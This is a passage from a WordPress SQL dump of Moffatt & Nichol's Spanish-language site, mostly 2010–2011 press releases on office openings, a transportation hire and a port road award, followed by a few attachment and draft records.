relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de Prensa','','inherit','open','open','','1399-revision-27','','','2014-06-03 20:59:58','2014-06-03 20:59:58','',1399,'http://moffattnichol.com/spanish/1399-revision-27/',0,'revision','',0),(2832,1001001,'2014-06-19 09:55:16','2014-06-19 09:55:16','http://moffattnichol.com/spanish/wp-content/uploads/wordpress/index.php','index.php','','private','open','open','','index-php','','','2014-06-19 09:55:16','2014-06-19 09:55:16','',0,'http://moffattnichol.com/spanish/wp-content/uploads/wordpress/index.php',0,'attachment','',0),(2833,1001001,'2014-06-26 00:55:00','2014-06-26 00:55:00','http://moffattnichol.com/spanish/wp-content/uploads/tmp/index.php','index.php','','private','open','open','','index-php-2','','','2014-06-26 00:55:00','2014-06-26 00:55:00','',0,'http://moffattnichol.com/spanish/wp-content/uploads/tmp/index.php',0,'attachment','',0),(2834,1,'2015-02-13 20:50:02','0000-00-00 00:00:00','','Auto Draft','','auto-draft','open','open','','','','','2015-02-13 20:50:02','0000-00-00 00:00:00','',0,'http://03bfee1.netsolhost.com/spanish/?p=2834',0,'post','',0);
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